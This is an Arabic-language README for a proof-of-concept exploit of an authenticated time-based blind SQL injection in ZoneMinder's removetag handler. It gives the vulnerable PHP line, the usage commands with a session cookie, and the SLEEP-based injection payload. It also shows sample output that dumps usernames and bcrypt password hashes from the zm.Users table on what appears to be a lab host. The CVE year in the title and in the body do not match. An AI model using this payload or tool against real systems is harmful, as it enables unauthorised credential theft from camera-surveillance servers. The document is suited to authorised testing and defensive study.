
CVE-2025-51482 POC, استخراج بيانات الاعتماد من zm.Users
أداة إثبات مفهوم لـ CVE-2024-51482، وهي ثغرة حقن SQL أعمى زمني تحتاج إلى مصادقة في ZoneMinder v1.37. ≤ 1.37.64*.
يقوم السكريبت باستخراج أسماء المستخدمين وتجزئات كلمات المرور من جدول zm.Users باستخدام البحث الثنائي (التقسيم الثنائي) عبر مُسْتَدَلّ يعتمد على SLEEP().
مُعالِج remotetag في web/ajax/event.php يقوم بتمرير وسائط DELETE بأمان ولكنه يدخل مباشرةً إدخالًا يتحكم به المستخدم في استعلام SELECT تالٍ:
// Safe — parameterized
dbQuery('DELETE FROM Events_Tags WHERE TagId = ? AND EventId = ?', array($tagId, $_REQUEST['id']));
// Vulnerable — string interpolation
$sql = "SELECT * FROM Events_Tags WHERE TagId = $tagId";
$rowCount = dbNumRows($sql);
يأتي $tagId مباشرةً من $_REQUEST['tid'] دون تنقية، مما يسمح بالحقن عبر باراميتر tid.
requests (pip install requests)ZMSESSID من حساب ZoneMinder مسجل الدخولpython3 CVE-2024-51482.py --url <TARGET_URL> --zmsessid <SESSION_COOKIE>
الوسائط:
--url — عنوان URL الأساسي لـ ZoneMinder (مثال: http://cctv.htb/zm) (مطلوب)--zmsessid — قيمة كوكي ZMSESSID (مطلوب)--sleep — ثواني الإسبات للاستدلال الزمني (الافتراضي: 3)--timeout — مهلة الطلب بالثواني (الافتراضي: sleep + 3)أمثلة:
# Basic
python3 CVE-2024-51482.py --url http://cctv.htb/zm --zmsessid gofls5ln2jubbehfulf32j54mh
# Faster on low-latency networks
python3 CVE-2024-51482.py --url http://cctv.htb/zm --zmsessid gofls5ln2jubbehfulf32j54mh --sleep 2
# Custom timeout
python3 CVE-2024-51482.py --url http://cctv.htb/zm --zmsessid gofls5ln2jubbehfulf32j54mh --sleep 3 --timeout 10
سجل الدخول إلى ZoneMinder، افتح أدوات المطور في المتصفح (F12) -> Application -> Cookies، وانسخ قيمة ZMSESSID. بدلاً من ذلك، اعترض أي طلب موثَّق في Burp Suite واحصل عليها من ترويسة Cookie.
[*] Baseline check...
[*] Baseline: 0.62s
[*] Testing injection...
[*] Sleep test: 2.66s
[+] Injection confirmed!
[*] Dumping ZoneMinder Users...
[*] Counting rows in zm.Users...
[+] Found 3 user(s)
[*] Extracting username 1/3...
[*] Length: 5
[*] admin
[+] Username: admin
[*] Extracting password for 'admin'...
[*] Length: 60
[*] $2y$10$t5z8uIT.n9uCdHCNidcLf.39T1Ui9nrlCkdXrzJMnJgkTiAvRUM6m
[+] Password hash: $2y$10$t5z8uIT.n9uCdHCNidcLf.39T1Ui9nrlCkdXrzJMnJgkTiAvRUM6m
[*] Extracting username 2/3...
[*] Length: 4
[*] mark
[+] Username: mark
[*] Extracting password for 'mark'...
[*] Length: 60
[*] $2y$10$prZGnazejKcuTv5bKNexXOgLyQaok0hq07LW7AJ/QNqZolbXKfFG.
[+] Password hash: $2y$10$prZGnazejKcuTv5bKNexXOgLyQaok0hq07LW7AJ/QNqZolbXKfFG.
[*] Extracting username 3/3...
[*] Length: 10
[*] superadmin
[+] Username: superadmin
[*] Extracting password for 'superadmin'...
[*] Length: 60
[*] $2y$10$cmytVWFRnt1XfqsItsJRVe/ApxWxcIFQcURnm5N.rhlULwM0jrtbm
[+] Password hash: $2y$10$cmytVWFRnt1XfqsItsJRVe/ApxWxcIFQcURnm5N.rhlULwM0jrtbm
==================================================
DUMP COMPLETE
==================================================
admin : $2y$10$t5z8uIT.n9uCdHCNidcLf.39T1Ui9nrlCkdXrzJMnJgkTiAvRUM6m
mark : $2y$10$prZGnazejKcuTv5bKNexXOgLyQaok0hq07LW7AJ/QNqZolbXKfFG.
superadmin : $2y$10$cmytVWFRnt1XfqsItsJRVe/ApxWxcIFQcURnm5N.rhlULwM0jrtbm
tid=1 لقياس زمن الاستجابة الطبيعي.SLEEP(2) ويتحقق من تأخير الاستجابة ≥2 ثانية.COUNT(*) على zm.Users لمعرفة عدد الحسابات الموجودة.Username و Password (حوالي 7 طلبات لكل حرف مقابل 95 للمسح الخطي).هيكل الحمولة:
GET /zm/index.php?view=request&request=event&action=removetag&tid=<PAYLOAD>&id=1
1 AND (SELECT 1 FROM (SELECT SLEEP(3) FROM DUAL WHERE <condition>) as dummy)
id=1 مطلوب لأن استعلام DELETE الآمن قبل الاستعلام الضعيف SELECT سينتج خطأ 500 بدونه، مما يوقف التنفيذ قبل الوصول إلى الحقن.
هذه الأداة مخصصة لاختبار الأمان المصرح به والبحث التعليمي فقط.
احصل دائمًا على إذن كتابي صريح قبل اختبار أي نظام لا تملكه.
المؤلف لا يتحمل أي مسؤولية عن سوء الاستخدام أو الضرر الناجم عن هذا البرنامج.